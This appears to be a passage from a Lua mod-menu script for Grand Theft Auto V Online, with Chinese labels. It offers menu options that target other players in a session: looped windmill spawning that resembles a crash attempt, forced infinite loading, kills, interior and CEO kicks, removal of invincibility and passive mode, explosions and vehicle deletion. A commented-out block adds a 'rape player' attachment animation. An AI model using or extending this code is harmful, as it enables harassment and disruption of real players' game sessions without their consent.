                local object = entities.create_object(util.joaat("prop_windmill_01"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)))
                OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, true)
                entities.delete_by_handle(object)
                local object = entities.create_object(util.joaat("prop_windmill_01"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)))
                OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, true)
                entities.delete_by_handle(object)
                local object = entities.create_object(util.joaat("prop_windmill_01"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)))
                OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, true)
                entities.delete_by_handle(object)
                local object = entities.create_object(util.joaat("prop_windmill_01"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)))
                OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, true)
                entities.delete_by_handle(object)
                local object = entities.create_object(util.joaat("prop_windmill_01"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)))
                OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, true)
                entities.delete_by_handle(object)
                local object = entities.create_object(util.joaat("prop_windmill_01"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)))
                OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, true)
                entities.delete_by_handle(object)
                local object = entities.create_object(util.joaat("prop_windmill_01"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)))
                OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, true)
                entities.delete_by_handle(object)
                local object = entities.create_object(util.joaat("prop_windmill_01"), ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)))
                OBJECT.BREAK_OBJECT_FRAGMENT_CHILD(object, 1, true)
                wait(1000)
                entities.delete_by_handle(object)
            end
        end)

    GTLP(windmilling, "附加风车", {"attachmills"}, "", function()
        if pid ~= players.user() then
        local id = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local playerpos = ENTITY.GET_ENTITY_COORDS(id)
        playerpos.z = playerpos.z + 3
        local khanjali = util.joaat("prop_windmill_01")
        STREAMING.REQUEST_MODEL(khanjali)
        while not STREAMING.HAS_MODEL_LOADED(khanjali) do
            wait()
        end
        local vehicle1 = entities.create_object(khanjali, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(pid), 0, 2, 3), ENTITY.GET_ENTITY_HEADING(id))
            ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle1, id, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
            ENTITY.SET_ENTITY_VISIBLE(vehicle1, true, 0)
        local vehicle2 = entities.create_object(khanjali, playerpos, 0)
            ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle1, id, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
            ENTITY.SET_ENTITY_VISIBLE(vehicle1, true, 0)
        local vehicle3 = entities.create_object(khanjali, playerpos, 0)
            ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle1, id, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
            ENTITY.SET_ENTITY_VISIBLE(vehicle1, true, 0)
        local vehicle4 = entities.create_object(khanjali, playerpos, 0)
            ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle1, id, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
            ENTITY.SET_ENTITY_VISIBLE(vehicle1, true, 0)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle1)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle2)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle3)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle4)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle2, vehicle1, 0, 0, 3, 0, 0, 0, -180, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle3, vehicle1, 0, 3, 3, 0, 0, 0, -180, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle4, vehicle1, 0, 3, 0, 0, 0, 0, 0, 0, false, true, false, 0, true)
        ENTITY.SET_ENTITY_VISIBLE(vehicle1, true)
        wait(10)
        end
    end)

    GTAC(windmilling, "清除风车", {"clearwindmills"}, "", function()
        local count = 0
        for k,ent in pairs(entities.get_all_objects_as_handles()) do
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
            entities.delete_by_handle(ent)
            count = count + 1
            wait()
        end
    end)


    GTLP(attachoptions, "附加圆锥", {"aacone"}, "", function(on_click)
        attachto(0.0, 0.07, 0.63, pid, 0.0, 90.0, 0.0, 3760607069, false, false)
    end)

    GTLP(attachoptions, "附加背包", {"abackpack"}, "", function(on_click)
        attachto(0.0, -0.15, 0.0, pid, 0.0, 0.0, 0.0, 4208448709, false, false)
    end)


GTLP(attachoptions,"附加雨伞", {"umbrella"}, "", function()
    local id = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local playerpos = ENTITY.GET_ENTITY_COORDS(id)
    playerpos.z = playerpos.z + 3
    local candyattach = util.joaat("p_amb_brolly_01")
    STREAMING.REQUEST_MODEL(candyattach)
    while not STREAMING.HAS_MODEL_LOADED(candyattach) do
        wait()
    end
    local cane1 = entities.create_object(candyattach, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(pid), 0, 2, 3), ENTITY.GET_ENTITY_HEADING(id))
    ENTITY.ATTACH_ENTITY_TO_ENTITY(cane1, id, playerpos, 0.2, 0.2, 0.5, 0, 0, 0, -180, 0, true, true, false, 0, true)
    ENTITY.SET_ENTITY_VISIBLE(cane1, true, 0)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(cane1)
    wait(100)
end)

    GTLP(attachoptions, "附加鸡巴", {"attachcandycane"}, "", function()
        local id = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local playerpos = ENTITY.GET_ENTITY_COORDS(id)
        playerpos.z = playerpos.z + 3
        local candyattach = util.joaat("w_me_candy_xm3")
        STREAMING.REQUEST_MODEL(candyattach)
        while not STREAMING.HAS_MODEL_LOADED(candyattach) do
            wait()
        end
        local cane1 = entities.create_object(candyattach, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(pid), 0, 2, 3), ENTITY.GET_ENTITY_HEADING(id))
        ENTITY.ATTACH_ENTITY_TO_ENTITY(cane1, id, playerpos, 0, 0, 1, 0, 0, 0, -180, 0, true, true, false, 0, true)
        ENTITY.SET_ENTITY_VISIBLE(cane1, true, 0)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(cane1)
        wait(100)
    end)

    GTLP(attachoptions, "附加帽子", {"attachduncehat"}, "", function()
        local id = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local playerpos = ENTITY.GET_ENTITY_COORDS(id)
        playerpos.z = playerpos.z + 3
        local candyattach = util.joaat("prop_mk_cone")
        STREAMING.REQUEST_MODEL(candyattach)
        while not STREAMING.HAS_MODEL_LOADED(candyattach) do
            wait()
        end
        local cane1 = entities.create_object(candyattach, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(pid), 0, 2, 3), ENTITY.GET_ENTITY_HEADING(id))
        ENTITY.ATTACH_ENTITY_TO_ENTITY(cane1, id, playerpos, 0, 0, 1.5, 0, 180, 0, -180, 0, true, true, false, 0, true)
        ENTITY.SET_ENTITY_VISIBLE(cane1, true, 0)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(cane1)
        wait(100)
    end)
    
    GTLP(attachoptions, "附加坡道", {"attachramp"}, "", function()
        local id = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local playerpos = ENTITY.GET_ENTITY_COORDS(id)
        playerpos.z = playerpos.z + 3
        local rampattach = util.joaat("lts_prop_lts_ramp_03")
        STREAMING.REQUEST_MODEL(rampattach)
        while not STREAMING.HAS_MODEL_LOADED(rampattach) do
            wait()
        end
        local vehicle1 = entities.create_object(rampattach, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(pid), 0, 2, 3), ENTITY.GET_ENTITY_HEADING(id))
            ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle1, id, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
            ENTITY.SET_ENTITY_VISIBLE(vehicle1, true, 0)
        local vehicle2 = entities.create_object(rampattach, playerpos, 0)
            ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle1, id, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
            ENTITY.SET_ENTITY_VISIBLE(vehicle1, true, 0)
        local vehicle3 = entities.create_object(rampattach, playerpos, 0)
            ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle1, id, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
            ENTITY.SET_ENTITY_VISIBLE(vehicle1, true, 0)
        local vehicle4 = entities.create_object(rampattach, playerpos, 0)
            ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle1, id, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
            ENTITY.SET_ENTITY_VISIBLE(vehicle1, true, 0)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle1)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle2)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle3)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle4)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle2, vehicle1, 0, 0, 3, 0, 0, 0, -180, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle3, vehicle1, 0, 3, 3, 0, 0, 0, -180, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle4, vehicle1, 0, 3, 0, 0, 0, 0, 0, 0, false, true, false, 0, true)
        ENTITY.SET_ENTITY_VISIBLE(vehicle1, true)
        wait(100)
    end)

    GTAC(attachoptions, "清除物体", {"clearobjects"}, "", function()
        local count = 0
        for k,ent in pairs(entities.get_all_objects_as_handles()) do
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
            entities.delete_by_handle(ent)
            count = count + 1
            wait()
        end
    end)

    GTAC(attachoptions, "清除车辆", {"clearvehicles"}, "", function()
        local count = 0
        for k, ent in pairs(entities.get_all_vehicles_as_handles()) do
            local PedInSeat = VEHICLE.GET_PED_IN_VEHICLE_SEAT(ent, -1, false)
            if not PED.IS_PED_A_PLAYER(PedInSeat) then
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
                entities.delete_by_handle(ent)
                count = count + 1
                wait()
            end
        end
    end)

    GTAC(attachoptions, "自定义物体", {"customattmodel"}, "", function(on_click)
        util.toast("Please input the model name")
        menu.show_command_box("customattmodel" .. PLAYER.GET_PLAYER_NAME(pid) .. " ")
    end, function(on_command)
        local hash = util.joaat(on_command)
        request_model_load(hash)
        attachto(0.0, 0.0, 0.0, pid, 90.0, 0.0, 0.0, hash, false)
    end)
    
    GTAC(attachoptions, "自定义车辆", {"customvemodel"}, "", function(on_click)
        util.toast("Please input the model name")
        menu.show_command_box("customvemodel" .. PLAYER.GET_PLAYER_NAME(pid) .. " ")
    end, function(on_command)
        local hash = util.joaat(on_command)
        request_model_load(hash)
        attachto(0.0, 0.0, 0.0, pid, 0.0, 0.0, 0.0, hash, false, true)
    end)

    function attachto(offx, offy, offz, pid, angx, angy, angz, hash, isnpc, isveh)
        atomicattachto = util.create_thread(function(thr)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
            local coords = ENTITY.GET_ENTITY_COORDS(ped, true)
            coords.x = coords['x']
            coords.y = coords['y']
            coords.z = coords['z']
            if isnpc then
                obj = entities.create_ped(1, hash, coords, 90.0)
            elseif isveh then
                obj = entities.create_vehicle(hash, coords, 90.0)
            else
                obj = OBJECT.CREATE_OBJECT_NO_OFFSET(hash, coords['x'], coords['y'], coords['z'], true, false, false)
            end
            ENTITY.SET_ENTITY_INVINCIBLE(obj, true)
            ENTITY.SET_ENTITY_COMPLETELY_DISABLE_COLLISION(obj, false, true)
                while true do
                    local player_coords = ENTITY.GET_ENTITY_COORDS(ped, false)
                    local obj_coords = ENTITY.GET_ENTITY_COORDS(obj, false)
                    local dist =  MISC.GET_DISTANCE_BETWEEN_COORDS(player_coords['x'], player_coords['y'], player_coords['z'], obj_coords['x'], obj_coords['y'], obj_coords['z'], false)
                    if dist > 0.1 then
                        local behind = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(ped, offx, offy, offz)
                        ENTITY.SET_ENTITY_COORDS(obj, behind['x'], behind['y'], behind['z'], false, false, false, false)
                    end
                    if not stopato then
                    util.stop_thread()
                    if not ENTITY.DOES_ENTITY_EXIST(obj) then
                    end
                    attachto(offx, offy, offz, pid, angx, angy, angz, hash, isnpc, isveh)
                    end
                    local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
                    if not players.exists(pid) then
                        util.toast(aatoast)
                        util.stop_thread()
                    else
                    end
                    wait()
                end
            end)
        end

    GTLP(jindianegao,"飞机啄他", {"kamikazelazer"}, "", function(on)
        local ped = 2459507570
        STREAMING.REQUEST_MODEL(ped)
        while not STREAMING.HAS_MODEL_LOADED(ped) do
            wait(100)
        end
        local lazer = 3013282534
        STREAMING.REQUEST_MODEL(lazer)
        while not STREAMING.HAS_MODEL_LOADED(lazer) do
            wait(100)
        end
        local pid = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        local spawn = VEHICLE.CREATE_VEHICLE(lazer, pid.x, pid.y, pid.z+20, 0, true, false, false)
        local pedspawn = PED.CREATE_PED(26, ped, pid.x, pid.y, pid.z+20, 0, true, false)
        PED.SET_PED_INTO_VEHICLE(pedspawn, spawn, -1)
        VEHICLE.SET_VEHICLE_ENGINE_HEALTH(spawn, -20)
        ENTITY.SET_ENTITY_ROTATION(spawn, -90.0, 0.0, 0.0, 1, true)
        VEHICLE.SET_VEHICLE_FORWARD_SPEED(spawn, 100)
        wait(3000)
    end)

    GTAC(jindianegao, "UFO吸附", {}, "生成UFO并牵引该玩家至空中", function()
        local coords = players.get_position(pid)
        coords.z = coords.z + 63
        local ufoModel = MISC.GET_HASH_KEY("p_spinning_anus_s")
        local ufo = entities.create_object(ufoModel, coords)
        local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local vehicle = PED.GET_VEHICLE_PED_IS_IN(player, false)

        if PED.IS_PED_IN_VEHICLE(player, vehicle, false) then 
            NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle)
            VEHICLE.BRING_VEHICLE_TO_HALT(vehicle, 3, 4, false)
            VEHICLE.SET_VEHICLE_ENGINE_ON(vehicle, false, true, true)
            ENTITY.APPLY_FORCE_TO_ENTITY(vehicle, 1, 0.0, 0.0, 65, 0.0, 0.0, 0.0, 1, false, true, true, true, true)
            wait(6000)
            entities.delete_by_handle(ufo)
        else
            util.toast("玩家不在载具中") 
    end
    end)

    GTLP(jindianegao,"火箭撞击", {""}, "生成撞击在该玩家上方\n并且含有特殊的声音哟", function(on)
        local ped = 2459507570
        STREAMING.REQUEST_MODEL(ped)
        while not STREAMING.HAS_MODEL_LOADED(ped) do
            wait(100)
        end
        local lazer = 3013282534
        STREAMING.REQUEST_MODEL(lazer)
        while not STREAMING.HAS_MODEL_LOADED(lazer) do
            wait(100)
        end
        local pid = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        local spawn = VEHICLE.CREATE_VEHICLE(lazer, pid.x, pid.y, pid.z+150, 0, true, false, false)
        local pedspawn = PED.CREATE_PED(26, ped, pid.x, pid.y, pid.z+150, 0, true, false)

        ENTITY.SET_ENTITY_VISIBLE(spawn, false)
        PED.SET_PED_INTO_VEHICLE(pedspawn, spawn, -1)
        ENTITY.SET_ENTITY_VISIBLE(pedspawn, false)
        VEHICLE.SET_VEHICLE_ENGINE_HEALTH(spawn, -20)
        ENTITY.SET_ENTITY_ROTATION(spawn, -90.0, 0.0, 0.0, 1, true)
        VEHICLE.SET_VEHICLE_FORWARD_SPEED(spawn, 100)

        local id = get_closest_vehicle(entity)
        local playerpos = ENTITY.GET_ENTITY_COORDS(id)
        playerpos.z = playerpos.z + 3
        local ufo_object = util.joaat("xs_prop_arena_airmissile_01a")
        STREAMING.REQUEST_MODEL(ufo_object)
        while not STREAMING.HAS_MODEL_LOADED(ufo_object) do
            wait()
        end

        local object1 = entities.create_object(ufo_object, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(pid), 0, 2, 3), ENTITY.GET_ENTITY_HEADING(id))

        AUDIO.PLAY_SOUND_FRONTEND(-1, "Power_Down", "DLC_HEIST_HACKING_SNAKE_SOUNDS", true);
        AUDIO.PLAY_SOUND_FRONTEND(-1, "Power_Down", "DLC_HEIST_HACKING_SNAKE_SOUNDS", true);
        AUDIO.PLAY_SOUND_FRONTEND(-1, "Power_Down", "DLC_HEIST_HACKING_SNAKE_SOUNDS", true);
        AUDIO.PLAY_SOUND_FRONTEND(-1, "Power_Down", "DLC_HEIST_HACKING_SNAKE_SOUNDS", true);
        AUDIO.PLAY_SOUND_FRONTEND(-1, "Power_Down", "DLC_HEIST_HACKING_SNAKE_SOUNDS", true);
        AUDIO.PLAY_SOUND_FRONTEND(-1, "Power_Down", "DLC_HEIST_HACKING_SNAKE_SOUNDS", true);
        AUDIO.PLAY_SOUND_FRONTEND(-1, "Power_Down", "DLC_HEIST_HACKING_SNAKE_SOUNDS", true);
        
        ENTITY.ATTACH_ENTITY_TO_ENTITY(object1, spawn, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(object1, spawn)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(spawn, object1, 0, 1, 10, 0, 0, 0, -180, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(object1, spawn, 0, 1, 10, 0, 0, 0, -180, 0, false, true, false, 0, true)
        ENTITY.SET_ENTITY_VISIBLE(object1, true)
        wait(3000)
        entities.delete_by_handle(spawn)
        entities.delete_by_handle(pedspawn)
        entities.delete_by_handle(ufo_object)
        entities.delete_by_handle(object1)
    end)

    GTTG(jindianegao, "移除玩家无敌", {}, "", function (f)
        if f then
        menu.trigger_commands("confuse".. PLAYER.GET_PLAYER_NAME(PlayerID))
        else
            menu.trigger_commands("confuse".. PLAYER.GET_PLAYER_NAME(PlayerID))
        end
    end)

    GTTG(jindianegao,  "禁用被动模式", {}, "作弊者事件S5/S4", function(on) 
        if on then
            menu.trigger_commands("nopassivemode".. PLAYER.GET_PLAYER_NAME(PlayerID) .." on")
        else
            menu.trigger_commands("nopassivemode".. PLAYER.GET_PLAYER_NAME(PlayerID) .." off")
        end
    end)

    GTAC(jindianegao,  "禁用CEO", {}, "", function() 
        menu.trigger_commands("ceokick".. PLAYER.GET_PLAYER_NAME(PlayerID))
    end)
    
    GTAC(jindianegao, "杀死室内玩家", {}, "", function()
        menu.trigger_commands("kill".. PLAYER.GET_PLAYER_NAME(PlayerID))
    end)
    
    GTAC(jindianegao,  "踢出室内", {}, "强制将玩家踢出室内\n部分室内则无法踢出", function() 
        menu.trigger_commands("interiorkick".. PLAYER.GET_PLAYER_NAME(PlayerID))
    end)

    GTAC(jindianegao,  "无限黑屏", {}, "", function() 
        menu.trigger_commands("infiniteloading".. PLAYER.GET_PLAYER_NAME(PlayerID))
    end)

    GTAC(jindianegao,  "手机骚扰", {}, "", function() 
        menu.trigger_commands("ring".. PLAYER.GET_PLAYER_NAME(PlayerID))
    end)

    GTAC(jindianegao,  "随机自由模式任务", {}, "", function() 
        menu.trigger_commands("mission".. PLAYER.GET_PLAYER_NAME(PlayerID))
    end)

    GTAC(jindianegao,  "随机过场动画", {}, "", function() 
        menu.trigger_commands("sendtocutscene".. PLAYER.GET_PLAYER_NAME(PlayerID))
    end)

    GTLP(jindianegao, "循环摔倒", {}, "循环绊倒该玩家", function()
        local coords = players.get_position(pid)
        coords.z = coords['z'] - 2.0
        FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 11, 1, false, true, 0, true)
        wait(10)
    end)

    GTAC(jindianegao, "绊倒玩家", {}, "强制摔倒该玩家", function()
        local coords = players.get_position(pid)
        coords.z = coords['z'] - 2.0
        FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 11, 1, false, true, 0, true)
    end)

    GTLP(jindianegao, "虚假爆炸循环", {"fakeexplode"}, "Explosion dealing no damage", function() --fake exp
        local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local c = ENTITY.GET_ENTITY_COORDS(p)
        FIRE.ADD_EXPLOSION(c.x, c.y, c.z, exp, 0.0, true, false, 1.0, false)
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

    GTAC(jindianegao, "陨石撞击", {}, "用陨石碾碎该玩家", function() 
        local coords = players.get_position(pid)
        coords.z = coords.z + 10.0
        local asteroid = entities.create_object(3751297495, coords)
        ENTITY.SET_ENTITY_DYNAMIC(asteroid, true)
    end)

    GTAC(jindianegao, "随机惩罚", {}, "随机使用一种恶搞方式惩罚该玩家", function()
    local chosenPunishment = math.random(5)
    if chosenPunishment == 1 then 
        util.toast(players.get_name(pid).. " 会被碎布玩偶！")
        local coords = players.get_position(pid)
        FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 11, 1, false, true, 0, true) 
    end
    if chosenPunishment == 2 then 
        util.toast(players.get_name(pid).." 会被火箭击中！")
        local coords = players.get_position(pid)
        local playerPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(coords.x, coords.y, coords.z+15, coords.x, coords.y, coords.z, 100, true, -1312131151, playerPed, true, false, 50)
    end
    if chosenPunishment == 3 then 
        util.toast(players.get_name(pid).." 会被删除载具！")
        local playerPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local playerVehicle = PED.GET_VEHICLE_PED_IS_IN(playerPed, true)
        entities.delete_by_handle(playerVehicle)
    end
    if chosenPunishment == 4 then 
        util.toast(players.get_name(pid).." 会被点燃！")
        local coords = players.get_position(pid)
        FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 12, 0, true, false, 0, false)
    end
    if chosenPunishment == 5 then 
        util.toast(players.get_name(pid).." 幸免了！")
    end
    end)

--[[local helpText = translate("Trolling", "该玩家不会看到你依附于他们")
	GTTG(jindianegao, translate("Trolling", "骑乘玩家"), {}, helpText, function (on)
		if players.user() == pid then return end
		usingPiggyback = on
		if usingPiggyback then
			usingRape = false
			local target = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(player)
			STREAMING.REQUEST_ANIM_DICT("rcmjosh2")
			while not STREAMING.HAS_ANIM_DICT_LOADED("rcmjosh2") do
				wait()
			end
			local boneId = PED.GET_PED_BONE_INDEX(target, 0xDD1C)
			ENTITY.ATTACH_ENTITY_TO_ENTITY(
				players.user_ped(),
				target,
				boneId,
				0.0, -0.2, 2.00,
				1.0, 1.0, 1,
				false, true, false, false, 0, true, 0)
			TASK.TASK_PLAY_ANIM(players.user_ped(), "rcmjosh2", "josh_sitting_loop", 8.0, -8.0, -1, 1, 0.0, false, false, false)

			while usingPiggyback and is_player_active(pid, false, true) and
			not util.is_session_transition_active() do
				wait()
			end
			usingPiggyback = false
			TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
			ENTITY.DETACH_ENTITY(players.user_ped(), true, false)
		end
	end)

    local usingPiggyback = false
    local usingRape = false

	GTTG(jindianegao, "强奸玩家", {"rape"}, "", function (on)
		usingRape = on
		-- Otherwise the game would crash
		if pid == players.user() then
			return
		end
		if usingRape then
			usingPiggyback = false
			local target = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.GET_PLAYER_NAME(pid))
			STREAMING.REQUEST_ANIM_DICT("rcmpaparazzo_2")
			while not STREAMING.HAS_ANIM_DICT_LOADED("rcmpaparazzo_2") do
				wait()
			end
			TASK.TASK_PLAY_ANIM(players.user_ped(), "rcmpaparazzo_2", "shag_loop_a", 8.0, -8.0, -1, 1, 0.0, false, false, false)
			ENTITY.ATTACH_ENTITY_TO_ENTITY(players.user_ped(), target, 0, 0, -0.3, 0, 0.0, 0.0, 0.0, false, true, false, false, 0, true, 0)
			while usingRape and is_player_active(pid, false, true) and
			not util.is_session_transition_active() do
				wait()
			end
			usingRape = false
			TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
			ENTITY.DETACH_ENTITY(players.user_ped(), true, false)
		end
	end)]]

pclpid = {}
GTAC(jindianegao, "克隆重叠", {"clonecentipede"}, "", function()
        local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local c = ENTITY.GET_ENTITY_COORDS(p)
        local pclone = entities.create_ped(26, ENTITY.GET_ENTITY_MODEL(p), c, 0)
        pclpid [#pclpid + 1] = pclone 
        PED.CLONE_PED_TO_TARGET(p, pclone)
        local c = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), true)
        all_peds = entities.get_all_peds_as_handles()
        local last_ped = 0
        local last_ped_ht = 0
        for k,ped in pairs(all_peds) do
            if not PED.IS_PED_A_PLAYER(ped) and not PED.IS_PED_FATALLY_INJURED(ped) then
                get_control_request(ped)
                if PED.IS_PED_IN_ANY_VEHICLE(ped, true) then
                    TASK.CLEAR_PED_TASKS_IMMEDIATELY(ped)
                    TASK.TASK_LEAVE_ANY_VEHICLE(ped, 0, 16)
                end
    
                ENTITY.DETACH_ENTITY(ped, false, false)
                if last_ped ~= 0 then
                    ENTITY.ATTACH_ENTITY_TO_ENTITY(ped, last_ped, 0, 0.0, 0.0, last_ped_ht-0.5, 0.0, 0.0, 0.0, false, false, false, false, 0, false)
                else
                    ENTITY.SET_ENTITY_COORDS(ped, c.x, c.y, c.z)
                end
                last_ped = ped
            end
        end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

    GTTG(jindianegao, "依附到玩家", {}, '', function(on)
        if PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid) == players.user_ped() then 
            return
            notification("不能附加自己", colors.pink)
        end
        if on then
            ENTITY.ATTACH_ENTITY_TO_ENTITY(players.user_ped(), PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid), 0, 0.0, -0.20, 2.00, 1.0, 1.0,1, true, true, true, false, 0, true)
        else
            ENTITY.DETACH_ENTITY(players.user_ped(), false, false)
        end
    end)

local helpText = translate("Trolling", "传送到玩家身边")
	GTTG(jindianegao, translate("Trolling", "传送到玩家"), {}, helpText, function (on)
		if players.user() == pid then return end
		usingPiggyback = on
		if usingPiggyback then
			usingRape = false
			local target = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
			STREAMING.REQUEST_ANIM_DICT("rcmjosh2")
			while not STREAMING.HAS_ANIM_DICT_LOADED("rcmjosh2") do
				wait()
			end
			local boneId = PED.GET_PED_BONE_INDEX(target, 0xDD1C)
			ENTITY.ATTACH_ENTITY_TO_ENTITY(
				players.user_ped(),
				target,
				boneId,
				0.0, -0.2, 0.65,
				0.0, 0.0, 180.0,
				false, true, false, false, 0, true, 0)
			TASK.TASK_PLAY_ANIM(players.user_ped(), "rcmjosh2", "josh_sitting_loop", 8.0, -8.0, -1, 1, 0.0, false, false, false)

			while usingPiggyback and is_player_active(pid, false, true) and
			not util.is_session_transition_active() do
				wait()
			end
			usingPiggyback = false
			TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
			ENTITY.DETACH_ENTITY(players.user_ped(), true, false)
		end
	end)

local mrplaym = GT(jindianegao, '在玩家身上下雨 ', {}, '')
local mir = {weap = 'WEAPON_SNOWBALL', speed = 1000}
local mirloop =  GTLP(mrplaym, '类型:雪球', {'rain'}, '启用下雨', function ()
      local targets = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
      local tar1 = ENTITY.GET_ENTITY_COORDS(targets, true)
      local weap = util.joaat(mir.weap)
      Delcar(targets)
      WEAPON.REQUEST_WEAPON_ASSET(weap)
      MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(tar1.x, tar1.y, tar1.z, tar1.x , tar1.y, tar1.z - 2.0, 200, 0, weap, 0, true, false, mir.speed)
      MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(tar1.x, tar1.y, tar1.z + 1.0, tar1.x , tar1.y, tar1.z, 200, 0, weap, 0, true, false, mir.speed)
